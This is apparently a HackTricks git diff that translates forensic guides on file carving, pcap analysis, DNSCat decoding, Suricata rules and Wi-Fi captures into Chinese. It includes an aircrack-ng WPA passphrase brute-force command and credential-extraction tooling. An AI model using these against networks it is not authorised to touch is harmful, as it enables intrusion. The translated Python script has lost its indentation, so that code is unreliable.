[**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kinds of images, but not simple files. +在取证中提取图像文件的最常用工具是 [**Autopsy**](https://www.autopsy.com/download/)。下载并安装它,然后让它处理文件以查找“隐藏”文件。请注意,Autopsy 是为支持磁盘映像和其他类型的映像而构建的,但不支持简单文件。 ### Binwalk -**Binwalk** is a tool for analyzing binary files to find embedded content. It's installable via `apt` and its source is on [GitHub](https://github.com/ReFirmLabs/binwalk). - -**Useful commands**: +**Binwalk** 是一个分析二进制文件以查找嵌入内容的工具。可以通过 `apt` 安装,其源代码在 [GitHub](https://github.com/ReFirmLabs/binwalk) 上。 +**有用的命令**: ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file binwalk -e file #Displays and extracts some files from the given file binwalk --dd ".*" file #Displays and extracts all files from the given file ``` - ### Foremost -Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for its default configured file types. - +另一个常用的查找隐藏文件的工具是 **foremost**。您可以在 `/etc/foremost.conf` 中找到 foremost 的配置文件。如果您只想搜索某些特定文件,请取消注释它们。如果您不取消注释任何内容,foremost 将搜索其默认配置的文件类型。 ```bash sudo apt-get install foremost foremost -v -i file.img -o output #Discovered files will appear inside the folder "output" ``` - ### **Scalpel** -**Scalpel** is another tool that can be used to find and extract **files embedded in a file**. In this case, you will need to uncomment from the configuration file (_/etc/scalpel/scalpel.conf_) the file types you want it to extract. - +**Scalpel** 是另一个可以用来查找和提取 **嵌入在文件中的文件** 的工具。在这种情况下,您需要从配置文件 (_/etc/scalpel/scalpel.conf_) 中取消注释您希望提取的文件类型。 ```bash sudo apt-get install scalpel scalpel file.img -o output ``` - ### Bulk Extractor -This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -This tool can scan an image and will **extract pcaps** inside it, **network information (URLs, domains, IPs, MACs, mails)** and more **files**. You only have to do: +这个工具包含在kali中,但你可以在这里找到它: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) +这个工具可以扫描一个镜像并**提取pcaps**,**网络信息(URLs、域名、IPs、MACs、邮件)**以及更多**文件**。你只需执行: ``` bulk_extractor memory.img -o out_folder ``` - -Navigate through **all the information** that the tool has gathered (passwords?), **analyse** the **packets** (read[ **Pcaps analysis**](../pcap-inspection/)), search for **weird domains** (domains related to **malware** or **non-existent**). +导航通过**工具收集的所有信息**(密码?),**分析** **数据包**(阅读[ **Pcaps分析**](../pcap-inspection/)),搜索**奇怪的域名**(与**恶意软件**或**不存在**的域名相关)。 ### PhotoRec -You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) +您可以在[https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)找到它。 -It comes with GUI and CLI versions. You can select the **file-types** you want PhotoRec to search for. +它提供GUI和CLI版本。您可以选择希望PhotoRec搜索的**文件类型**。 ![](<../../../images/image (242).png>) ### binvis -Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/). +查看[代码](https://code.google.com/archive/p/binvis/)和[网页工具](https://binvis.io/#/)。 -#### Features of BinVis +#### BinVis的特点 -- Visual and active **structure viewer** -- Multiple plots for different focus points -- Focusing on portions of a sample -- **Seeing stings and resources**, in PE or ELF executables e. g. -- Getting **patterns** for cryptanalysis on files -- **Spotting** packer or encoder algorithms -- **Identify** Steganography by patterns -- **Visual** binary-diffing +- 视觉和主动的**结构查看器** +- 针对不同焦点的多个图 +- 专注于样本的部分 +- **查看PE或ELF可执行文件中的字符串和资源** +- 获取文件的**模式**以进行密码分析 +- **识别**打包器或编码器算法 +- 通过模式**识别**隐写术 +- **视觉**二进制差异比较 -BinVis is a great **start-point to get familiar with an unknown target** in a black-boxing scenario. +BinVis是一个很好的**起点,以熟悉未知目标**在黑箱场景中。 -## Specific Data Carving Tools +## 特定数据雕刻工具 ### FindAES -Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker. +通过搜索其密钥调度来搜索AES密钥。能够找到128、192和256位密钥,例如TrueCrypt和BitLocker使用的密钥。 -Download [here](https://sourceforge.net/projects/findaes/). +在[这里下载](https://sourceforge.net/projects/findaes/)。 -## Complementary tools +## 补充工具 -You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\ -You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. +您可以使用[**viu**](https://github.com/atanunq/viu)从终端查看图像。\ +您可以使用Linux命令行工具**pdftotext**将pdf转换为文本并阅读。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md index c16bee711..abf99f795 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md @@ -2,32 +2,26 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - > [!NOTE] -> A note about **PCAP** vs **PCAPNG**: there are two versions of the PCAP file format; **PCAPNG is newer and not supported by all tools**. You may need to convert a file from PCAPNG to PCAP using Wireshark or another compatible tool, in order to work with it in some other tools. +> 关于 **PCAP** 与 **PCAPNG** 的说明:PCAP 文件格式有两个版本;**PCAPNG 是较新的,并不是所有工具都支持**。您可能需要使用 Wireshark 或其他兼容工具将文件从 PCAPNG 转换为 PCAP,以便在某些其他工具中使用。 -## Online tools for pcaps +## 在线工具用于 pcaps -- If the header of your pcap is **broken** you should try to **fix** it using: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) -- Extract **information** and search for **malware** inside a pcap in [**PacketTotal**](https://packettotal.com) -- Search for **malicious activity** using [**www.virustotal.com**](https://www.virustotal.com) and [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) -- **Full pcap analysis from the browser in** [**https://apackets.com/**](https://apackets.com/) +- 如果您的 pcap 的 **头部**是 **损坏的**,您应该尝试使用:[http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) **修复**它 +- 在 [**PacketTotal**](https://packettotal.com) 中提取 **信息** 并搜索 **恶意软件** +- 使用 [**www.virustotal.com**](https://www.virustotal.com) 和 [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) 搜索 **恶意活动** +- 在 [**https://apackets.com/**](https://apackets.com/) 中 **从浏览器进行完整的 pcap 分析** -## Extract Information +## 提取信息 -The following tools are useful to extract statistics, files, etc. +以下工具对于提取统计信息、文件等非常有用。 ### Wireshark > [!NOTE] -> **If you are going to analyze a PCAP you basically must to know how to use Wireshark** +> **如果您要分析 PCAP,您基本上必须知道如何使用 Wireshark** -You can find some Wireshark tricks in: +您可以在以下位置找到一些 Wireshark 技巧: {{#ref}} wireshark-tricks.md @@ -35,115 +29,97 @@ wireshark-tricks.md ### [**https://apackets.com/**](https://apackets.com/) -Pcap analysis from the browser. +从浏览器进行 pcap 分析。 ### Xplico Framework -[**Xplico** ](https://github.com/xplico/xplico)_(only linux)_ can **analyze** a **pcap** and extract information from it. For example, from a pcap file Xplico, extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on. - -**Install** +[**Xplico** ](https://github.com/xplico/xplico)_(仅限 linux)_ 可以 **分析** 一个 **pcap** 并从中提取信息。例如,从一个 pcap 文件中,Xplico 提取每封电子邮件(POP、IMAP 和 SMTP 协议)、所有 HTTP 内容、每个 VoIP 通话(SIP)、FTP、TFTP 等。 +**安装** ```bash sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list' sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE sudo apt-get update sudo apt-get install xplico ``` - -**Run** - +**运行** ``` /etc/init.d/apache2 restart /etc/init.d/xplico start ``` +访问 _**127.0.0.1:9876**_,凭证为 _**xplico:xplico**_ -Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_ - -Then create a **new case**, create a **new session** inside the case and **upload the pcap** file. +然后创建一个 **新案例**,在案例中创建一个 **新会话** 并 **上传 pcap** 文件。 ### NetworkMiner -Like Xplico it is a tool to **analyze and extract objects from pcaps**. It has a free edition that you can **download** [**here**](https://www.netresec.com/?page=NetworkMiner). It works with **Windows**.\ -This tool is also useful to get **other information analysed** from the packets in order to be able to know what was happening in a **quicker** way. +像 Xplico 一样,它是一个 **分析和提取 pcaps 中对象** 的工具。它有一个免费版可以 **下载** [**这里**](https://www.netresec.com/?page=NetworkMiner)。它在 **Windows** 上工作。\ +这个工具也有助于从数据包中获取 **其他信息分析**,以便能够更 **快速** 地了解发生了什么。 ### NetWitness Investigator -You can download [**NetWitness Investigator from here**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(It works in Windows)**.\ -This is another useful tool that **analyses the packets** and sorts the information in a useful way to **know what is happening inside**. +您可以从 [**这里下载 NetWitness Investigator**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(它在 Windows 上工作)**。\ +这是另一个有用的工具,**分析数据包** 并以有用的方式整理信息,以 **了解内部发生的事情**。 ### [BruteShark](https://github.com/odedshimon/BruteShark) -- Extracting and encoding usernames and passwords (HTTP, FTP, Telnet, IMAP, SMTP...) -- Extract authentication hashes and crack them using Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) -- Build a visual network diagram (Network nodes & users) -- Extract DNS queries -- Reconstruct all TCP & UDP Sessions -- File Carving +- 提取和编码用户名和密码(HTTP、FTP、Telnet、IMAP、SMTP...) +- 提取身份验证哈希并使用 Hashcat 破解它们(Kerberos、NTLM、CRAM-MD5、HTTP-Digest...) +- 构建可视化网络图(网络节点和用户) +- 提取 DNS 查询 +- 重建所有 TCP 和 UDP 会话 +- 文件雕刻 ### Capinfos - ``` capinfos capture.pcap ``` - ### Ngrep -If you are **looking** for **something** inside the pcap you can use **ngrep**. Here is an example using the main filters: - +如果您在 pcap 中**寻找**某些**东西**,可以使用**ngrep**。以下是使用主要过滤器的示例: ```bash ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168" ``` +### 切割 -### Carving - -Using common carving techniques can be useful to extract files and information from the pcap: +使用常见的切割技术可以从 pcap 中提取文件和信息: {{#ref}} ../partitions-file-systems-carving/file-data-carving-recovery-tools.md {{#endref}} -### Capturing credentials +### 捕获凭证 -You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface. +您可以使用工具如 [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) 从 pcap 或实时接口中解析凭证。 -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -## Check Exploits/Malware +## 检查漏洞/恶意软件 ### Suricata -**Install and setup** - +**安装和设置** ``` apt-get install suricata apt-get install oinkmaster echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules ``` - -**Check pcap** - +**检查 pcap** ``` suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log ``` - ### YaraPcap -[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is a tool that +[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) 是一个工具,可以 -- Reads a PCAP File and Extracts Http Streams. -- gzip deflates any compressed streams -- Scans every file with yara -- Writes a report.txt -- Optionally saves matching files to a Dir +- 读取 PCAP 文件并提取 Http 流。 +- gzip 解压任何压缩流 +- 使用 yara 扫描每个文件 +- 写入 report.txt +- 可选地将匹配的文件保存到目录 -### Malware Analysis +### 恶意软件分析 -Check if you can find any fingerprint of a known malware: +检查您是否可以找到已知恶意软件的任何指纹: {{#ref}} ../malware-analysis.md @@ -151,12 +127,11 @@ Check if you can find any fingerprint of a known malware: ## Zeek -> [Zeek](https://docs.zeek.org/en/master/about.html) is a passive, open-source network traffic analyzer. Many operators use Zeek as a Network Security Monitor (NSM) to support investigations of suspicious or malicious activity. Zeek also supports a wide range of traffic analysis tasks beyond the security domain, including performance measurement and troubleshooting. +> [Zeek](https://docs.zeek.org/en/master/about.html) 是一个被动的开源网络流量分析器。许多操作员使用 Zeek 作为网络安全监控器 (NSM) 来支持对可疑或恶意活动的调查。Zeek 还支持广泛的流量分析任务,超出安全领域,包括性能测量和故障排除。 -Basically, logs created by `zeek` aren't **pcaps**. Therefore you will need to use **other tools** to analyse the logs where the **information** about the pcaps are. - -### Connections Info +基本上,`zeek` 创建的日志不是 **pcaps**。因此,您需要使用 **其他工具** 来分析包含 **pcaps 信息** 的日志。 +### 连接信息 ```bash #Get info about longest connections (add "grep udp" to see only udp traffic) #The longest connection might be of malware (constant reverse shell?) @@ -206,9 +181,7 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top 1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0 0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0 ``` - -### DNS info - +### DNS 信息 ```bash #Get info about each DNS request performed cat dns.log | zeek-cut -c id.orig_h query qtype_name answers @@ -225,8 +198,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr #See top DNS domain requested with rita rita show-exploded-dns -H --limit 10 zeek_logs ``` - -## Other pcap analysis tricks +## 其他 pcap 分析技巧 {{#ref}} dnscat-exfiltration.md @@ -242,10 +214,4 @@ usb-keystrokes.md ​ -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md index aba634f34..8eda44336 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md @@ -1,11 +1,10 @@ -# DNSCat pcap analysis +# DNSCat pcap 分析 {{#include ../../../banners/hacktricks-training.md}} -If you have pcap with data being **exfiltrated by DNSCat** (without using encryption), you can find the exfiltrated content. - -You only need to know that the **first 9 bytes** are not real data but are related to the **C\&C communication**: +如果你有一个包含 **通过 DNSCat 被外泄的数据** 的 pcap(未使用加密),你可以找到被外泄的内容。 +你只需要知道 **前 9 个字节** 不是实际数据,而是与 **C\&C 通信** 相关: ```python from scapy.all import rdpcap, DNSQR, DNSRR import struct @@ -13,25 +12,22 @@ import struct f = "" last = "" for p in rdpcap('ch21.pcap'): - if p.haslayer(DNSQR) and not p.haslayer(DNSRR): +if p.haslayer(DNSQR) and not p.haslayer(DNSRR): - qry = p[DNSQR].qname.replace(".jz-n-bs.local.","").strip().split(".") - qry = ''.join(_.decode('hex') for _ in qry)[9:] - if last != qry: - print(qry) - f += qry - last = qry +qry = p[DNSQR].qname.replace(".jz-n-bs.local.","").strip().split(".") +qry = ''.join(_.decode('hex') for _ in qry)[9:] +if last != qry: +print(qry) +f += qry +last = qry #print(f) ``` - -For more information: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ +有关更多信息:[https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ [https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md) -There is a script that works with Python3: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder) - +有一个与Python3兼容的脚本:[https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder) ``` python3 dnscat_decoder.py sample.pcap bad_domain ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md index 4be42c696..a14319fec 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md @@ -6,14 +6,13 @@ ### Chains -In iptables, lists of rules known as chains are processed sequentially. Among these, three primary chains are universally present, with additional ones like NAT being potentially supported depending on the system's capabilities. +在iptables中,称为链的规则列表是按顺序处理的。在这些链中,三条主要链是普遍存在的,额外的链如NAT可能会根据系统的能力得到支持。 -- **Input Chain**: Utilized for managing the behavior of incoming connections. -- **Forward Chain**: Employed for handling incoming connections that are not destined for the local system. This is typical for devices acting as routers, where the data received is meant to be forwarded to another destination. This chain is relevant primarily when the system is involved in routing, NATing, or similar activities. -- **Output Chain**: Dedicated to the regulation of outgoing connections. - -These chains ensure the orderly processing of network traffic, allowing for the specification of detailed rules governing the flow of data into, through, and out of a system. +- **Input Chain**: 用于管理传入连接的行为。 +- **Forward Chain**: 用于处理不指向本地系统的传入连接。这对于充当路由器的设备是典型的,其中接收到的数据旨在转发到另一个目的地。当系统参与路由、NAT或类似活动时,这条链是相关的。 +- **Output Chain**: 专用于调节传出连接。 +这些链确保网络流量的有序处理,允许指定详细规则来管理数据流入、流经和流出系统的方式。 ```bash # Delete all rules iptables -F @@ -50,11 +49,9 @@ iptables-save > /etc/sysconfig/iptables ip6tables-save > /etc/sysconfig/ip6tables iptables-restore < /etc/sysconfig/iptables ``` - ## Suricata -### Install & Config - +### 安装与配置 ```bash # Install details from: https://suricata.readthedocs.io/en/suricata-6.0.0/install.html#install-binary-packages # Ubuntu @@ -64,7 +61,7 @@ apt-get install suricata # Debian echo "deb http://http.debian.net/debian buster-backports main" > \ - /etc/apt/sources.list.d/backports.list +/etc/apt/sources.list.d/backports.list apt-get update apt-get install suricata -t buster-backports @@ -80,7 +77,7 @@ suricata-update ## To use the dowloaded rules update the following line in /etc/suricata/suricata.yaml default-rule-path: /var/lib/suricata/rules rule-files: - - suricata.rules +- suricata.rules # Run ## Add rules in /etc/suricata/rules/suricata.rules @@ -92,7 +89,7 @@ suricata -c /etc/suricata/suricata.yaml -i eth0 suricatasc -c ruleset-reload-nonblocking ## or set the follogin in /etc/suricata/suricata.yaml detect-engine: - - rule-reload: true +- rule-reload: true # Validate suricata config suricata -T -c /etc/suricata/suricata.yaml -v @@ -101,8 +98,8 @@ suricata -T -c /etc/suricata/suricata.yaml -v ## Config drop to generate alerts ## Search for the following lines in /etc/suricata/suricata.yaml and remove comments: - drop: - alerts: yes - flows: all +alerts: yes +flows: all ## Forward all packages to the queue where suricata can act as IPS iptables -I INPUT -j NFQUEUE @@ -120,76 +117,70 @@ Type=simple systemctl daemon-reload ``` +### 规则定义 -### Rules Definitions - -[From the docs:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) A rule/signature consists of the following: - -- The **action**, determines what happens when the signature matches. -- The **header**, defines the protocol, IP addresses, ports and direction of the rule. -- The **rule options**, define the specifics of the rule. +[来自文档:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) 一条规则/签名由以下部分组成: +- **动作**,决定当签名匹配时发生什么。 +- **头部**,定义规则的协议、IP地址、端口和方向。 +- **规则选项**,定义规则的具体细节。 ```bash alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"HTTP GET Request Containing Rule in URI"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"rule"; fast_pattern; classtype:bad-unknown; sid:123; rev:1;) ``` +#### **有效的操作是** -#### **Valid actions are** +- alert - 生成警报 +- pass - 停止对数据包的进一步检查 +- **drop** - 丢弃数据包并生成警报 +- **reject** - 向匹配数据包的发送者发送 RST/ICMP 不可达错误。 +- rejectsrc - 与 _reject_ 相同 +- rejectdst - 向匹配数据包的接收者发送 RST/ICMP 错误数据包。 +- rejectboth - 向对话的双方发送 RST/ICMP 错误数据包。 -- alert - generate an alert -- pass - stop further inspection of the packet -- **drop** - drop packet and generate alert -- **reject** - send RST/ICMP unreachable error to the sender of the matching packet. -- rejectsrc - same as just _reject_ -- rejectdst - send RST/ICMP error packet to the receiver of the matching packet. -- rejectboth - send RST/ICMP error packets to both sides of the conversation. +#### **协议** -#### **Protocols** - -- tcp (for tcp-traffic) +- tcp (用于 tcp 流量) - udp - icmp -- ip (ip stands for ‘all’ or ‘any’) -- _layer7 protocols_: http, ftp, tls, smb, dns, ssh... (more in the [**docs**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html)) +- ip (ip 代表“所有”或“任何”) +- _layer7 协议_: http, ftp, tls, smb, dns, ssh... (更多内容见 [**docs**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html)) -#### Source and Destination Addresses +#### 源地址和目标地址 -It supports IP ranges, negations and a list of addresses: +它支持 IP 范围、否定和地址列表: -| Example | Meaning | -| ----------------------------- | ---------------------------------------- | -| ! 1.1.1.1 | Every IP address but 1.1.1.1 | -| !\[1.1.1.1, 1.1.1.2] | Every IP address but 1.1.1.1 and 1.1.1.2 | -| $HOME_NET | Your setting of HOME_NET in yaml | -| \[$EXTERNAL\_NET, !$HOME_NET] | EXTERNAL_NET and not HOME_NET | -| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24 except for 10.0.0.5 | +| 示例 | 意义 | +| ---------------------------- | --------------------------------------- | +| ! 1.1.1.1 | 除 1.1.1.1 以外的所有 IP 地址 | +| !\[1.1.1.1, 1.1.1.2] | 除 1.1.1.1 和 1.1.1.2 以外的所有 IP 地址 | +| $HOME_NET | 您在 yaml 中设置的 HOME_NET | +| \[$EXTERNAL\_NET, !$HOME_NET] | EXTERNAL_NET 和非 HOME_NET | +| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24,除了 10.0.0.5 | -#### Source and Destination Ports +#### 源端口和目标端口 -It supports port ranges, negations and lists of ports +它支持端口范围、否定和端口列表 -| Example | Meaning | -| --------------- | -------------------------------------- | -| any | any address | -| \[80, 81, 82] | port 80, 81 and 82 | -| \[80: 82] | Range from 80 till 82 | -| \[1024: ] | From 1024 till the highest port-number | -| !80 | Every port but 80 | -| \[80:100,!99] | Range from 80 till 100 but 99 excluded | -| \[1:80,!\[2,4]] | Range from 1-80, except ports 2 and 4 | +| 示例 | 意义 | +| -------------- | ------------------------------------- | +| any | 任何地址 | +| \[80, 81, 82] | 端口 80、81 和 82 | +| \[80: 82] | 从 80 到 82 的范围 | +| \[1024: ] | 从 1024 到最高端口号 | +| !80 | 除 80 以外的所有端口 | +| \[80:100,!99] | 从 80 到 100 的范围,但排除 99 | +| \[1:80,!\[2,4]] | 从 1 到 80 的范围,除了端口 2 和 4 | -#### Direction - -It's possible to indicate the direction of the communication rule being applied: +#### 方向 +可以指示所应用的通信规则的方向: ``` source -> destination source <> destination (both directions) ``` +#### 关键词 -#### Keywords - -There are **hundreds of options** available in Suricata to search for the **specific packet** you are looking for, here it will be mentioned if something interesting is found. Check the [**documentation** ](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html)for more! - +在 Suricata 中有 **数百种选项** 可用于搜索您所寻找的 **特定数据包**,如果发现有趣的内容,这里会提到。请查看 [**文档**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html)以获取更多信息! ```bash # Meta Keywords msg: "description"; #Set a description to the rule @@ -230,5 +221,4 @@ drop tcp any any -> any any (msg:"regex"; pcre:"/CTF\{[\w]{3}/i"; sid:10001;) ## Drop by port drop tcp any any -> any 8000 (msg:"8000 port"; sid:1000;) ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md index 782e405aa..ebc5f5e8b 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md @@ -2,18 +2,16 @@ {{#include ../../../banners/hacktricks-training.md}} -If you have a pcap containing the communication via USB of a keyboard like the following one: +如果你有一个包含键盘通过USB通信的pcap,如下所示: ![](<../../../images/image (962).png>) -You can use the tool [**ctf-usb-keyboard-parser**](https://github.com/TeamRocketIst/ctf-usb-keyboard-parser) to get what was written in the communication: - +你可以使用工具 [**ctf-usb-keyboard-parser**](https://github.com/TeamRocketIst/ctf-usb-keyboard-parser) 来获取通信中写入的内容: ```bash tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt python3 usbkeyboard.py ./keystrokes.txt ``` - -You can read more information and find some scripts about how to analyse this in: +您可以阅读更多信息并找到一些关于如何分析此内容的脚本: - [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) - [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md index f1371d5fa..710c941d6 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md @@ -1,42 +1,40 @@ -# Wifi Pcap Analysis +# Wifi Pcap 分析 {{#include ../../../banners/hacktricks-training.md}} -## Check BSSIDs +## 检查 BSSID -When you receive a capture whose principal traffic is Wifi using WireShark you can start investigating all the SSIDs of the capture with _Wireless --> WLAN Traffic_: +当你收到一个主要流量为 Wifi 的捕获文件时,可以使用 WireShark 开始调查捕获中的所有 SSID,路径为 _Wireless --> WLAN Traffic_: ![](<../../../images/image (106).png>) ![](<../../../images/image (492).png>) -### Brute Force - -One of the columns of that screen indicates if **any authentication was found inside the pcap**. If that is the case you can try to Brute force it using `aircrack-ng`: +### 暴力破解 +该屏幕的其中一列指示是否在 pcap 中**发现了任何认证**。如果是这种情况,你可以尝试使用 `aircrack-ng` 进行暴力破解: ```bash aircrack-ng -w pwds-file.txt -b file.pcap ``` +例如,它将检索保护 PSK(预共享密钥)的 WPA 密码,这将在稍后解密流量时需要。 -For example it will retrieve the WPA passphrase protecting a PSK (pre shared-key), that will be required to decrypt the trafic later. +## 信标中的数据 / 侧信道 -## Data in Beacons / Side Channel +如果您怀疑 **数据在 Wifi 网络的信标中泄露**,可以使用以下过滤器检查网络的信标:`wlan contains `,或 `wlan.ssid == "NAMEofNETWORK"` 在过滤后的数据包中搜索可疑字符串。 -If you suspect that **data is being leaked inside beacons of a Wifi network** you can check the beacons of the network using a filter like the following one: `wlan contains `, or `wlan.ssid == "NAMEofNETWORK"` search inside the filtered packets for suspicious strings. +## 在 Wifi 网络中查找未知 MAC 地址 -## Find Unknown MAC Addresses in A Wifi Network - -The following link will be useful to find the **machines sending data inside a Wifi Network**: +以下链接将有助于查找 **在 Wifi 网络中发送数据的机器**: - `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` -If you already know **MAC addresses you can remove them from the output** adding checks like this one: `&& !(wlan.addr==5c:51:88:31:a0:3b)` +如果您已经知道 **MAC 地址,可以通过添加检查将其从输出中移除**,例如:`&& !(wlan.addr==5c:51:88:31:a0:3b)` -Once you have detected **unknown MAC** addresses communicating inside the network you can use **filters** like the following one: `wlan.addr== && (ftp || http || ssh || telnet)` to filter its traffic. Note that ftp/http/ssh/telnet filters are useful if you have decrypted the traffic. +一旦您检测到 **在网络中通信的未知 MAC** 地址,可以使用 **过滤器**,例如:`wlan.addr== && (ftp || http || ssh || telnet)` 来过滤其流量。请注意,ftp/http/ssh/telnet 过滤器在您解密流量时非常有用。 -## Decrypt Traffic +## 解密流量 -Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit +编辑 --> 首选项 --> 协议 --> IEEE 802.11 --> 编辑 ![](<../../../images/image (499).png>) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md 